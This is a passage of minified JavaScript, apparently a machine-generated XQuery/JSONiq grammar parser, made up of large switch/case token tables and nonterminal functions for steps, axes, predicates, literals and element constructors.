111187:case 111226:case 111291:case 111324:case 112723:case 112762:case 112827:case 112860:case 113747:case 113786:case 113851:case 113884:case 114259:case 114298:case 114363:case 114396:case 115283:case 115322:case 115387:case 115420:case 115795:case 115834:case 115899:case 115932:case 117331:case 117370:case 117435:case 117468:case 117843:case 117882:case 117947:case 117980:case 118355:case 118394:case 118459:case 118492:case 118867:case 118906:case 118971:case 119004:case 119379:case 119418:case 119483:case 119516:case 119891:case 119930:case 119995:case 120028:case 122451:case 122490:case 122555:case 122588:case 122963:case 123002:case 123067:case 123100:case 125523:case 125562:case 125627:case 125660:case 126547:case 126586:case 127059:case 127098:case 127163:case 127196:case 127571:case 127610:case 127675:case 127708:case 130643:case 130682:case 130747:case 130780:case 131155:case 131194:case 131259:case 131292:case 131667:case 131706:case 131771:case 131804:case 132179:case 132218:case 132283:case 132316:case 132691:case 132730:case 132795:case 132828:case 134227:case 134266:case 134331:case 134364:case 134739:case 134778:case 134843:case 134876:case 136275:case 136314:case 136379:case 136412:case 136787:case 136826:case 136891:case 136924:case 137299:case 137338:case 137403:case 137436:case 137811:case 137850:case 137915:case 137948:case 139859:case 139898:case 139963:case 139996:case 143955:case 143969:case 143992:case 143994:case 144059:case 144078:case 144092:case 144121:case 144134:ei();break;default:Br()}ic.endNonterminal(\"StepExpr\",Vl)}function Hr(){switch($l){case 83:ql(288);break;case 122:ql(287);break;case 187:case 220:ql(285);break;case 135:case 197:case 255:ql(237);break;case 97:case 120:case 206:case 249:case 262:ql(239);break;case 79:case 125:case 154:case 167:case 169:case 247:case 248:case 259:ql(230);break;case 74:case 75:case 94:case 112:case 113:case 137:case 138:case 210:case 216:case 217:case 234:ql(238);break;case 6:case 71:case 73:case 76:case 78:case 80:case 81:case 82:case 84:case 85:case 86:case 87:case 89:case 90:case 91:case 92:case 95:case 98:case 99:case 102:case 103:case 104:case 105:case 106:case 107:case 109:case 110:case 111:case 114:case 119:case 121:case 123:case 124:case 126:case 127:case 129:case 130:case 132:case 133:case 134:case 136:case 139:case 142:case 143:case 147:case 148:case 150:case 152:case 153:case 155:case 156:case 157:case 161:case 162:case 163:case 164:case 165:case 166:case 168:case 170:case 173:case 174:case 175:case 177:case 179:case 181:case 183:case 184:case 185:case 188:case 189:case 194:case 195:case 198:case 202:case 203:case 204:case 205:case 207:case 222:case 223:case 224:case 225:case 226:case 228:case 229:case 230:case 231:case 232:case 233:case 239:case 240:case 241:case 242:case 245:case 253:case 254:case 256:case 257:case 258:case 260:case 263:case 266:case 267:case 268:case 269:case 272:case 273:case 276:ql(234);break;default:Wl=$l}if(Wl==12935||Wl==12997||Wl==13055||Wl==13447||Wl==13509||Wl==13567||Wl==13959||Wl==14021||Wl==14079||Wl==19591||Wl==19653||Wl==19711||Wl==20103||Wl==20165||Wl==20223||Wl==21127||Wl==21189||Wl==21247||Wl==21639||Wl==21701||Wl==21759||Wl==22151||Wl==22213||Wl==22271||Wl==24199||Wl==24261||Wl==24319||Wl==24711||Wl==24773||Wl==24831||Wl==25735||Wl==25797||Wl==25855||Wl==27783||Wl==27845||Wl==27903||Wl==28295||Wl==28357||Wl==28415||Wl==29831||Wl==29893||Wl==29951||Wl==30343||Wl==30405||Wl==30463||Wl==31367||Wl==31429||Wl==31487||Wl==31879||Wl==31941||Wl==31999||Wl==32391||Wl==32453||Wl==32511||Wl==32903||Wl==32965||Wl==33023||Wl==35463||Wl==35525||Wl==35583||Wl==35975||Wl==36037||Wl==36095||Wl==36435||Wl==36474||Wl==36487||Wl==36539||Wl==36549||Wl==36572||Wl==36607||Wl==38995||Wl==39034||Wl==39047||Wl==39099||Wl==39109||Wl==39132||Wl==39167||Wl==41043||Wl==41082||Wl==41095||Wl==41147||Wl==41157||Wl==41180||Wl==41215||Wl==41555||Wl==41594||Wl==41607||Wl==41659||Wl==41669||Wl==41692||Wl==41727||Wl==42067||Wl==42106||Wl==42119||Wl==42171||Wl==42181||Wl==42204||Wl==42239||Wl==43603||Wl==43642||Wl==43655||Wl==43707||Wl==43717||Wl==43740||Wl==43775||Wl==45191||Wl==45253||Wl==45311||Wl==45651||Wl==45690||Wl==45703||Wl==45755||Wl==45765||Wl==45788||Wl==45823||Wl==46163||Wl==46202||Wl==46215||Wl==46267||Wl==46277||Wl==46300||Wl==46335||Wl==46675||Wl==46714||Wl==46727||Wl==46779||Wl==46789||Wl==46812||Wl==46847||Wl==48723||Wl==48762||Wl==48775||Wl==48827||Wl==48837||Wl==48860||Wl==48895||Wl==51335||Wl==51397||Wl==51455||Wl==54355||Wl==54394||Wl==54407||Wl==54459||Wl==54469||Wl==54492||Wl==54527||Wl==56403||Wl==56442||Wl==56455||Wl==56507||Wl==56517||Wl==56540||Wl==56575||Wl==58451||Wl==58490||Wl==58503||Wl==58555||Wl==58565||Wl==58588||Wl==58623||Wl==61011||Wl==61050||Wl==61063||Wl==61115||Wl==61125||Wl==61148||Wl==61183||Wl==63059||Wl==63098||Wl==63111||Wl==63163||Wl==63173||Wl==63196||Wl==63231||Wl==63571||Wl==63610||Wl==63623||Wl==63675||Wl==63685||Wl==63708||Wl==63743||Wl==65107||Wl==65146||Wl==65159||Wl==65211||Wl==65221||Wl==65244||Wl==65279||Wl==66131||Wl==66170||Wl==66183||Wl==66235||Wl==66245||Wl==66268||Wl==66303||Wl==67667||Wl==67706||Wl==67719||Wl==67771||Wl==67781||Wl==67804||Wl==67839||Wl==71251||Wl==71290||Wl==71303||Wl==71355||Wl==71365||Wl==71388||Wl==71423||Wl==75859||Wl==75898||Wl==75911||Wl==75963||Wl==75973||Wl==75996||Wl==76031||Wl==76883||Wl==76922||Wl==76935||Wl==76987||Wl==76997||Wl==77020||Wl==77055||Wl==77907||Wl==77946||Wl==77959||Wl==78011||Wl==78021||Wl==78044||Wl==78079||Wl==78419||Wl==78458||Wl==78471||Wl==78523||Wl==78533||Wl==78556||Wl==78591||Wl==83027||Wl==83066||Wl==83079||Wl==83131||Wl==83141||Wl==83164||Wl==83199||Wl==84051||Wl==84090||Wl==84103||Wl==84155||Wl==84165||Wl==84188||Wl==84223||Wl==84563||Wl==84602||Wl==84615||Wl==84667||Wl==84677||Wl==84700||Wl==84735||Wl==85075||Wl==85114||Wl==85127||Wl==85179||Wl==85189||Wl==85212||Wl==85247||Wl==89683||Wl==89722||Wl==89735||Wl==89787||Wl==89797||Wl==89820||Wl==89855||Wl==90707||Wl==90746||Wl==90759||Wl==90811||Wl==90821||Wl==90844||Wl==90879||Wl==92755||Wl==92794||Wl==92807||Wl==92859||Wl==92869||Wl==92892||Wl==92927||Wl==93779||Wl==93818||Wl==93831||Wl==93883||Wl==93893||Wl==93916||Wl==93951||Wl==94291||Wl==94330||Wl==94343||Wl==94395||Wl==94405||Wl==94428||Wl==94463||Wl==96851||Wl==96890||Wl==96903||Wl==96955||Wl==96965||Wl==96988||Wl==97023||Wl==103507||Wl==103546||Wl==103559||Wl==103611||Wl==103621||Wl==103644||Wl==103679||Wl==104531||Wl==104570||Wl==104583||Wl==104635||Wl==104645||Wl==104668||Wl==104703||Wl==105043||Wl==105082||Wl==105095||Wl==105147||Wl==105157||Wl==105180||Wl==105215||Wl==107143||Wl==107205||Wl==107263||Wl==114771||Wl==114810||Wl==114823||Wl==114875||Wl==114885||Wl==114908||Wl==114943||Wl==116819||Wl==116858||Wl==116871||Wl==116923||Wl==116933||Wl==116956||Wl==116991||Wl==121479||Wl==121541||Wl==121599||Wl==123475||Wl==123514||Wl==123527||Wl==123579||Wl==123589||Wl==123612||Wl==123647||Wl==123987||Wl==124026||Wl==124039||Wl==124091||Wl==124101||Wl==124124||Wl==124159||Wl==129159||Wl==129221||Wl==129279||Wl==129619||Wl==129658||Wl==129671||Wl==129723||Wl==129733||Wl==129756||Wl==129791||Wl==130131||Wl==130170||Wl==130183||Wl==130235||Wl==130245||Wl==130268||Wl==130303||Wl==133203||Wl==133242||Wl==133255||Wl==133307||Wl==133317||Wl==133340||Wl==133375||Wl==139347||Wl==139386||Wl==139399||Wl==139451||Wl==139461||Wl==139484||Wl==139519||Wl==141395||Wl==141434||Wl==141447||Wl==141499||Wl==141509||Wl==141532||Wl==141567||Wl==142983||Wl==143045||Wl==143103||Wl==145543||Wl==145605||Wl==145663||Wl==146055||Wl==146117||Wl==146175||Wl==146567||Wl==146629||Wl==146687||Wl==147079||Wl==147141||Wl==147199){Wl=uc(4,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{ti(),oc(4,t,-1),Wl=-3}catch(a){Wl=-2,Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(4,t,-2)}}}switch(Wl){case-1:case 8:case 9:case 10:case 11:case 31:case 32:case 33:case 35:case 55:case 56:case 60:case 69:case 281:case 283:case 3155:case 3194:case 9915:case 9948:case 14854:case 14919:case 14921:case 14922:case 14923:case 14924:case 14926:case 14927:case 14928:case 14929:case 14930:case 14931:case 14932:case 14933:case 14934:case 14935:case 14937:case 14938:case 14939:case 14940:case 14942:case 14943:case 14945:case 14946:case 14947:case 14950:case 14951:case 14952:case 14953:case 14954:case 14955:case 14957:case 14958:case 14959:case 14960:case 14961:case 14962:case 14967:case 14968:case 14969:case 14970:case 14971:case 14972:case 14973:case 14974:case 14975:case 14977:case 14978:case 14980:case 14981:case 14982:case 14983:case 14984:case 14985:case 14986:case 14987:case 14990:case 14991:case 14995:case 14996:case 14998:case 15e3:case 15001:case 15002:case 15003:case 15004:case 15005:case 15009:case 15010:case 15011:case 15012:case 15013:case 15014:case 15015:case 15016:case 15017:case 15018:case 15021:case 15022:case 15023:case 15025:case 15027:case 15029:case 15031:case 15032:case 15033:case 15035:case 15036:case 15037:case 15042:case 15043:case 15045:case 15046:case 15050:case 15051:case 15052:case 15053:case 15054:case 15055:case 15058:case 15064:case 15065:case 15068:case 15070:case 15071:case 15072:case 15073:case 15074:case 15076:case 15077:case 15078:case 15079:case 15080:case 15081:case 15082:case 15087:case 15088:case 15089:case 15090:case 15093:case 15095:case 15096:case 15097:case 15101:case 15102:case 15103:case 15104:case 15105:case 15106:case 15107:case 15108:case 15110:case 15111:case 15114:case 15115:case 15116:case 15117:case 15120:case 15121:case 15124:case 17926:case 17991:case 17993:case 17994:case 17995:case 17996:case 17998:case 18e3:case 18001:case 18002:case 18004:case 18005:case 18006:case 18007:case 18009:case 18010:case 18011:case 18012:case 18014:case 18015:case 18018:case 18019:case 18022:case 18023:case 18024:case 18025:case 18026:case 18027:case 18029:case 18030:case 18031:case 18032:case 18033:case 18034:case 18039:case 18040:case 18043:case 18044:case 18046:case 18047:case 18049:case 18050:case 18052:case 18053:case 18054:case 18055:case 18056:case 18057:case 18058:case 18059:case 18062:case 18063:case 18067:case 18068:case 18070:case 18072:case 18073:case 18075:case 18076:case 18077:case 18081:case 18082:case 18083:case 18084:case 18085:case 18086:case 18088:case 18090:case 18093:case 18094:case 18095:case 18097:case 18099:case 18101:case 18103:case 18104:case 18105:case 18107:case 18109:case 18115:case 18117:case 18118:case 18122:case 18123:case 18124:case 18125:case 18126:case 18127:case 18130:case 18136:case 18137:case 18142:case 18143:case 18144:case 18145:case 18146:case 18148:case 18149:case 18152:case 18153:case 18154:case 18159:case 18160:case 18161:case 18162:case 18165:case 18173:case 18174:case 18175:case 18176:case 18177:case 18178:case 18180:case 18182:case 18183:case 18186:case 18187:case 18188:case 18189:case 18192:case 18193:case 18196:case 23175:case 23237:case 23295:case 37459:case 37498:case 37563:case 37596:case 37971:case 38010:case 38075:case 38108:case 38483:case 38522:case 38587:case 38620:case 40019:case 40058:case 40123:case 40156:case 40531:case 40570:case 42579:case 42618:case 42683:case 42716:case 43091:case 43130:case 43195:case 43228:case 44115:case 44154:case 44219:case 44252:case 44627:case 44666:case 44731:case 44764:case 47187:case 47226:case 47291:case 47324:case 48211:case 48250:case 48315:case 48348:case 49747:case 49786:case 49851:case 49884:case 50259:case 50298:case 50363:case 50396:case 50771:case 50810:case 50875:case 50908:case 52307:case 52346:case 52411:case 52444:case 52819:case 52858:case 52923:case 52956:case 53331:case 53370:case 53435:case 53468:case 53843:case 53882:case 53947:case 53980:case 54867:case 54906:case 54971:case 55004:case 55891:case 55930:case 55995:case 56028:case 56915:case 56954:case 57019:case 57052:case 57427:case 57466:case 57531:case 57564:case 57939:case 57978:case 58043:case 58076:case 61523:case 61562:case 61627:case 61660:case 62035:case 62074:case 62139:case 62172:case 62547:case 62586:case 62651:case 62684:case 64083:case 64122:case 64187:case 64220:case 64595:case 64634:case 64699:case 64732:case 66643:case 66682:case 66747:case 66780:case 68179:case 68218:case 68283:case 68316:case 68691:case 68730:case 68795:case 68828:case 69203:case 69242:case 69307:case 69340:case 69715:case 69754:case 69819:case 69852:case 70227:case 70266:case 70331:case 70364:case 70739:case 70778:case 70843:case 70876:case 72787:case 72826:case 72891:case 72924:case 73299:case 73338:case 73403:case 73436:case 75347:case 75386:case 75451:case 75484:case 78931:case 78970:case 79035:case 79068:case 79443:case 79482:case 79547:case 79580:case 79955:case 79994:case 80059:case 80092:case 80467:case 80506:case 80571:case 80604:case 82515:case 82554:case 82619:case 82652:case 83539:case 83578:case 83643:case 83676:case 85587:case 85626:case 85691:case 85724:case 86099:case 86138:case 86203:case 86236:case 86611:case 86650:case 87123:case 87162:case 87227:case 87260:case 88659:case 88698:case 88763:case 88796:case 89171:case 89210:case 89275:case 89308:case 91731:case 91770:case 91835:case 91868:case 94803:case 94842:case 94907:case 94940:case 95827:case 95866:case 95931:case 95964:case 96339:case 96378:case 96443:case 96476:case 99411:case 99450:case 99515:case 99548:case 99923:case 99962:case 100027:case 100060:case 100947:case 100986:case 101051:case 101084:case 101459:case 101498:case 101563:case 101596:case 104019:case 104058:case 104123:case 104156:case 105555:case 105594:case 105659:case 105692:case 106067:case 106106:case 106171:case 106204:case 107603:case 107642:case 107707:case 107740:case 110675:case 110714:case 110779:case 110812:case 111187:case 111226:case 111291:case 111324:case 112723:case 112762:case 112827:case 112860:case 113747:case 113786:case 113851:case 113884:case 114259:case 114298:case 114363:case 114396:case 115283:case 115322:case 115387:case 115420:case 115795:case 115834:case 115899:case 115932:case 117331:case 117370:case 117435:case 117468:case 117843:case 117882:case 117947:case 117980:case 118355:case 118394:case 118459:case 118492:case 118867:case 118906:case 118971:case 119004:case 119379:case 119418:case 119483:case 119516:case 119891:case 119930:case 119995:case 120028:case 122451:case 122490:case 122555:case 122588:case 122963:case 123002:case 123067:case 123100:case 125523:case 125562:case 125627:case 125660:case 126547:case 126586:case 127059:case 127098:case 127163:case 127196:case 127571:case 127610:case 127675:case 127708:case 130643:case 130682:case 130747:case 130780:case 131155:case 131194:case 131259:case 131292:case 131667:case 131706:case 131771:case 131804:case 132179:case 132218:case 132283:case 132316:case 132691:case 132730:case 132795:case 132828:case 134227:case 134266:case 134331:case 134364:case 134739:case 134778:case 134843:case 134876:case 136275:case 136314:case 136379:case 136412:case 136787:case 136826:case 136891:case 136924:case 137299:case 137338:case 137403:case 137436:case 137811:case 137850:case 137915:case 137948:case 139859:case 139898:case 139963:case 139996:case 143955:case 143969:case 143992:case 143994:case 144059:case 144078:case 144092:case 144121:case 144134:ti();break;case-3:break;default:jr()}}function Br(){ic.startNonterminal(\"AxisStep\",Vl);switch($l){case 74:case 75:case 210:case 216:case 217:ql(232);break;default:Wl=$l}switch(Wl){case 46:case 26698:case 26699:case 26834:case 26840:case 26841:Wr();break;default:Fr()}Il(228),jl(),li(),ic.endNonterminal(\"AxisStep\",Vl)}function jr(){switch($l){case 74:case 75:case 210:case 216:case 217:ql(232);break;default:Wl=$l}switch(Wl){case 46:case 26698:case 26699:case 26834:case 26840:case 26841:Xr();break;default:Ir()}Il(228),ci()}function Fr(){ic.startNonterminal(\"ForwardStep\",Vl);switch($l){case 83:ql(236);break;case 94:case 112:case 113:case 137:case 138:case 234:ql(232);break;default:Wl=$l}switch(Wl){case 26707:case 26718:case 26736:case 26737:case 26761:case 26762:case 26858:qr(),Il(249),jl(),Qr();break;default:Ur()}ic.endNonterminal(\"ForwardStep\",Vl)}function Ir(){switch($l){case 83:ql(236);break;case 94:case 112:case 113:case 137:case 138:case 234:ql(232);break;default:Wl=$l}switch(Wl){case 26707:case 26718:case 26736:case 26737:case 26761:case 26762:case 26858:Rr(),Il(249),Gr();break;default:zr()}}function qr(){ic.startNonterminal(\"ForwardAxis\",Vl);switch($l){case 94:Pl(94),Il(27),Pl(52);break;case 112:Pl(112),Il(27),Pl(52);break;case 83:Pl(83),Il(27),Pl(52);break;case 234:Pl(234),Il(27),Pl(52);break;case 113:Pl(113),Il(27),Pl(52);break;case 138:Pl(138),Il(27),Pl(52);break;default:Pl(137),Il(27),Pl(52)}ic.endNonterminal(\"ForwardAxis\",Vl)}function Rr(){switch($l){case 94:Hl(94),Il(27),Hl(52);break;case 112:Hl(112),Il(27),Hl(52);break;case 83:Hl(83),Il(27),Hl(52);break;case 234:Hl(234),Il(27),Hl(52);break;case 113:Hl(113),Il(27),Hl(52);break;case 138:Hl(138),Il(27),Hl(52);break;default:Hl(137),Il(27),Hl(52)}}function Ur(){ic.startNonterminal(\"AbbrevForwardStep\",Vl),$l==67&&Pl(67),Il(249),jl(),Qr(),ic.endNonterminal(\"AbbrevForwardStep\",Vl)}function zr(){$l==67&&Hl(67),Il(249),Gr()}function Wr(){ic.startNonterminal(\"ReverseStep\",Vl);switch($l){case 46:Jr();break;default:Vr(),Il(249),jl(),Qr()}ic.endNonterminal(\"ReverseStep\",Vl)}function Xr(){switch($l){case 46:Kr();break;default:$r(),Il(249),Gr()}}function Vr(){ic.startNonterminal(\"ReverseAxis\",Vl);switch($l){case 210:Pl(210),Il(27),Pl(52);break;case 74:Pl(74),Il(27),Pl(52);break;case 217:Pl(217),Il(27),Pl(52);break;case 216:Pl(216),Il(27),Pl(52);break;default:Pl(75),Il(27),Pl(52)}ic.endNonterminal(\"ReverseAxis\",Vl)}function $r(){switch($l){case 210:Hl(210),Il(27),Hl(52);break;case 74:Hl(74),Il(27),Hl(52);break;case 217:Hl(217),Il(27),Hl(52);break;case 216:Hl(216),Il(27),Hl(52);break;default:Hl(75),Il(27),Hl(52)}}function Jr(){ic.startNonterminal(\"AbbrevReverseStep\",Vl),Pl(46),ic.endNonterminal(\"AbbrevReverseStep\",Vl)}function Kr(){Hl(46)}function Qr(){ic.startNonterminal(\"NodeTest\",Vl);switch($l){case 83:case 97:case 121:case 122:case 188:case 194:case 220:case 230:case 231:case 249:ql(231);break;default:Wl=$l}switch(Wl){case 18003:case 18017:case 18041:case 18042:case 18108:case 18114:case 18140:case 18150:case 18151:case 18169:Vs();break;default:Yr()}ic.endNonterminal(\"NodeTest\",Vl)}function Gr(){switch($l){case 83:case 97:case 121:case 122:case 188:case 194:case 220:case 230:case 231:case 249:ql(231);break;default:Wl=$l}switch(Wl){case 18003:case 18017:case 18041:case 18042:case 18108:case 18114:case 18140:case 18150:case 18151:case 18169:$s();break;default:Zr()}}function Yr(){ic.startNonterminal(\"NameTest\",Vl);switch($l){case 5:Pl(5);break;default:$a()}ic.endNonterminal(\"NameTest\",Vl)}function Zr(){switch($l){case 5:Hl(5);break;default:Ja()}}function ei(){ic.startNonterminal(\"PostfixExpr\",Vl),yl();for(;;){Il(235);if($l!=35&&$l!=45&&$l!=69)break;switch($l){case 69:ql(273);break;default:Wl=$l}if(Wl==35397){Wl=uc(5,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{pi(),Wl=-1}catch(a){Wl=-4}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(5,Vl,Wl)}}switch(Wl){case 35:jl(),ai();break;case 45:jl(),ni();break;case-4:jl(),ii();break;case 35909:jl(),oi();break;default:jl(),hi()}}ic.endNonterminal(\"PostfixExpr\",Vl)}function ti(){bl();for(;;){Il(235);if($l!=35&&$l!=45&&$l!=69)break;switch($l){case 69:ql(273);break;default:Wl=$l}if(Wl==35397){Wl=uc(5,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{pi(),oc(5,t,-1),Wl=-6}catch(a){Wl=-4,Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(5,t,-4)}}}switch(Wl){case 35:fi();break;case 45:ri();break;case-4:si();break;case 35909:ui();break;case-6:break;default:pi()}}}function ni(){ic.startNonterminal(\"ObjectLookup\",Vl),Pl(45),Il(251);switch($l){case 11:Pl(11);break;case 35:jl(),Ci();break;case 31:jl(),Si();break;case 32:jl(),Li();break;default:jl(),Ga()}ic.endNonterminal(\"ObjectLookup\",Vl)}function ri(){Hl(45),Il(251);switch($l){case 11:Hl(11);break;case 35:ki();break;case 31:xi();break;case 32:Ai();break;default:Ya()}}function ii(){ic.startNonterminal(\"ArrayLookup\",Vl),Pl(69),Il(31),Pl(69),Il(267),jl(),G(),Pl(70),Il(32),Pl(70),ic.endNonterminal(\"ArrayLookup\",Vl)}function si(){Hl(69),Il(31),Hl(69),Il(267),Y(),Hl(70),Il(32),Hl(70)}function oi(){ic.startNonterminal(\"ArrayUnboxing\",Vl),Pl(69),Il(32),Pl(70),ic.endNonterminal(\"ArrayUnboxing\",Vl)}function ui(){Hl(69),Il(32),Hl(70)}function ai(){ic.startNonterminal(\"ArgumentList\",Vl),Pl(35),Il(280);if($l!=38){jl(),Bi();for(;;){Il(105);if($l!=42)break;Pl(42),Il(272),jl(),Bi()}}Pl(38),ic.endNonterminal(\"ArgumentList\",Vl)}function fi(){Hl(35),Il(280);if($l!=38){ji();for(;;){Il(105);if($l!=42)break;Hl(42),Il(272),ji()}}Hl(38)}function li(){ic.startNonterminal(\"PredicateList\",Vl);for(;;){Il(228);if($l!=69)break;jl(),hi()}ic.endNonterminal(\"PredicateList\",Vl)}function ci(){for(;;){Il(228);if($l!=69)break;pi()}}function hi(){ic.startNonterminal(\"Predicate\",Vl),Pl(69),Il(267),jl(),G(),Pl(70),ic.endNonterminal(\"Predicate\",Vl)}function pi(){Hl(69),Il(267),Y(),Hl(70)}function di(){ic.startNonterminal(\"Literal\",Vl);switch($l){case 11:Pl(11);break;case 135:case 255:mi();break;case 197:yi();break;default:wi()}ic.endNonterminal(\"Literal\",Vl)}function vi(){switch($l){case 11:Hl(11);break;case 135:case 255:gi();break;case 197:bi();break;default:Ei()}}function mi(){ic.startNonterminal(\"BooleanLiteral\",Vl);switch($l){case 255:Pl(255);break;default:Pl(135)}ic.endNonterminal(\"BooleanLiteral\",Vl)}function gi(){switch($l){case 255:Hl(255);break;default:Hl(135)}}function yi(){ic.startNonterminal(\"NullLiteral\",Vl),Pl(197),ic.endNonterminal(\"NullLiteral\",Vl)}function bi(){Hl(197)}function wi(){ic.startNonterminal(\"NumericLiteral\",Vl);switch($l){case 8:Pl(8);break;case 9:Pl(9);break;default:Pl(10)}ic.endNonterminal(\"NumericLiteral\",Vl)}function Ei(){switch($l){case 8:Hl(8);break;case 9:Hl(9);break;default:Hl(10)}}function Si(){ic.startNonterminal(\"VarRef\",Vl),Pl(31),Il(246),jl(),Ti(),ic.endNonterminal(\"VarRef\",Vl)}function xi(){Hl(31),Il(246),Ni()}function Ti(){ic.startNonterminal(\"VarName\",Vl),$a(),ic.endNonterminal(\"VarName\",Vl)}function Ni(){Ja()}function Ci(){ic.startNonterminal(\"ParenthesizedExpr\",Vl),Pl(35),Il(270),$l!=38&&(jl(),G()),Pl(38),ic.endNonterminal(\"ParenthesizedExpr\",Vl)}function ki(){Hl(35),Il(270),$l!=38&&Y(),Hl(38)}function Li(){ic.startNonterminal(\"ContextItemExpr\",Vl),Pl(32),ic.endNonterminal(\"ContextItemExpr\",Vl)}function Ai(){Hl(32)}function Oi(){ic.startNonterminal(\"OrderedExpr\",Vl),Pl(206),Il(90),Pl(281),Il(267),jl(),G(),Pl(287),ic.endNonterminal(\"OrderedExpr\",Vl)}function Mi(){Hl(206),Il(90),Hl(281),Il(267),Y(),Hl(287)}function _i(){ic.startNonterminal(\"UnorderedExpr\",Vl),Pl(262),Il(90),Pl(281),Il(267),jl(),G(),Pl(287),ic.endNonterminal(\"UnorderedExpr\",Vl)}function Di(){Hl(262),Il(90),Hl(281),Il(267),Y(),Hl(287)}function Pi(){ic.startNonterminal(\"FunctionCall\",Vl),Ka(),Il(22),jl(),ai(),ic.endNonterminal(\"FunctionCall\",Vl)}function Hi(){Qa(),Il(22),fi()}function Bi(){ic.startNonterminal(\"Argument\",Vl);switch($l){case 65:Fi();break;default:Wf()}ic.endNonterminal(\"Argument\",Vl)}function ji(){switch($l){case 65:Ii();break;default:Xf()}}function Fi(){ic.startNonterminal(\"ArgumentPlaceholder\",Vl),Pl(65),ic.endNonterminal(\"ArgumentPlaceholder\",Vl)}function Ii(){Hl(65)}function qi(){ic.startNonterminal(\"Constructor\",Vl);switch($l){case 55:case 56:case 60:Ui();break;default:os()}ic.endNonterminal(\"Constructor\",Vl)}function Ri(){switch($l){case 55:case 56:case 60:zi();break;default:us()}}function Ui(){ic.startNonterminal(\"DirectConstructor\",Vl);switch($l){case 55:Wi();break;case 56:ns();break;default:is()}ic.endNonterminal(\"DirectConstructor\",Vl)}function zi(){switch($l){case 55:Xi();break;case 56:rs();break;default:ss()}}function Wi(){ic.startNonterminal(\"DirElemConstructor\",Vl),Pl(55),Rl(4),Pl(20),Vi();switch($l){case 49:Pl(49);break;default:Pl(62);for(;;){Rl(196);if($l==57)break;es()}Pl(57),Rl(4),Pl(20),Rl(12),$l==21&&Pl(21),Rl(8),Pl(62)}ic.endNonterminal(\"DirElemConstructor\",Vl)}function Xi(){Hl(55),Rl(4),Hl(20),$i();switch($l){case 49:Hl(49);break;default:Hl(62);for(;;){Rl(196);if($l==57)break;ts()}Hl(57),Rl(4),Hl(20),Rl(12),$l==21&&Hl(21),Rl(8),Hl(62)}}function Vi(){ic.startNonterminal(\"DirAttributeList\",Vl);for(;;){Rl(19);if($l!=21)break;Pl(21),Rl(94),$l==20&&(Pl(20),Rl(11),$l==21&&Pl(21),Rl(7),Pl(61),Rl(18),$l==21&&Pl(21),Ji())}ic.endNonterminal(\"DirAttributeList\",Vl)}function $i(){for(;;){Rl(19);if($l!=21)break;Hl(21),Rl(94),$l==20&&(Hl(20),Rl(11),$l==21&&Hl(21),Rl(7),Hl(61),Rl(18),$l==21&&Hl(21),Ki())}}function Ji(){ic.startNonterminal(\"DirAttributeValue\",Vl),Rl(14);switch($l){case 28:Pl(28);for(;;){Rl(185);if($l==28)break;switch($l){case 13:Pl(13);break;default:Qi()}}Pl(28);break;default:Pl(34);for(;;){Rl(186);if($l==34)break;switch($l){case 14:Pl(14);break;default:Yi()}}Pl(34)}ic.endNonterminal(\"DirAttributeValue\",Vl)}function Ki(){Rl(14);switch($l){case 28:Hl(28);for(;;){Rl(185);if($l==28)break;switch($l){case 13:Hl(13);break;default:Gi()}}Hl(28);break;default:Hl(34);for(;;){Rl(186);if($l==34)break;switch($l){case 14:Hl(14);break;default:Zi()}}Hl(34)}}function Qi(){ic.startNonterminal(\"QuotAttrValueContent\",Vl);switch($l){case 16:Pl(16);break;default:il()}ic.endNonterminal(\"QuotAttrValueContent\",Vl)}function Gi(){switch($l){case 16:Hl(16);break;default:sl()}}function Yi(){ic.startNonterminal(\"AposAttrValueContent\",Vl);switch($l){case 17:Pl(17);break;default:il()}ic.endNonterminal(\"AposAttrValueContent\",Vl)}function Zi(){switch($l){case 17:Hl(17);break;default:sl()}}function es(){ic.startNonterminal(\"DirElemContent\",Vl);switch($l){case 55:case 56:case 60:Ui();break;case 4:Pl(4);break;case 15:Pl(15);break;default:il()}ic.endNonterminal(\"DirElemContent\",Vl)}function ts(){switch($l){case 55:case 56:case 60:zi();break;case 4:Hl(4);break;case 15:Hl(15);break;default:sl()}}function ns(){ic.startNonterminal(\"DirCommentConstructor\",Vl),Pl(56),Rl(1),Pl(2),Rl(6),Pl(44),ic.endNonterminal(\"DirCommentConstructor\",Vl)}function rs(){Hl(56),Rl(1),Hl(2),Rl(6),Hl(44)}function is(){ic.startNonterminal(\"DirPIConstructor\",Vl),Pl(60),Rl(3),Pl(18),Rl(13),$l==21&&(Pl(21),Rl(2),Pl(3)),Rl(9),Pl(66),ic.endNonterminal(\"DirPIConstructor\",Vl)}function ss(){Hl(60),Rl(3),Hl(18),Rl(13),$l==21&&(Hl(21),Rl(2),Hl(3)),Rl(9),Hl(66)}function os(){ic.startNonterminal(\"ComputedConstructor\",Vl);switch($l){case 120:al();break;case 122:as();break;case 83:ll();break;case 187:ls();break;case 249:ml();break;case 97:dl();break;default:hl()}ic.endNonterminal(\"ComputedConstructor\",Vl)}function us(){switch($l){case 120:fl();break;case 122:fs();break;case 83:cl();break;case 187:cs();break;case 249:gl();break;case 97:vl();break;default:pl()}}function as(){ic.startNonterminal(\"CompElemConstructor\",Vl),Pl(122),Il(250);switch($l){case 281:Pl(281),Il(267),jl(),G(),Pl(287);break;default:jl(),$a()}Il(90),Pl(281),Il(281),$l!=287&&(jl(),ol()),Pl(287),ic.endNonterminal(\"CompElemConstructor\",Vl)}function fs(){Hl(122),Il(250);switch($l){case 281:Hl(281),Il(267),Y(),Hl(287);break;default:Ja()}Il(90),Hl(281),Il(281),$l!=287&&ul(),Hl(287)}function ls(){ic.startNonterminal(\"CompNamespaceConstructor\",Vl),Pl(187),Il(242);switch($l){case 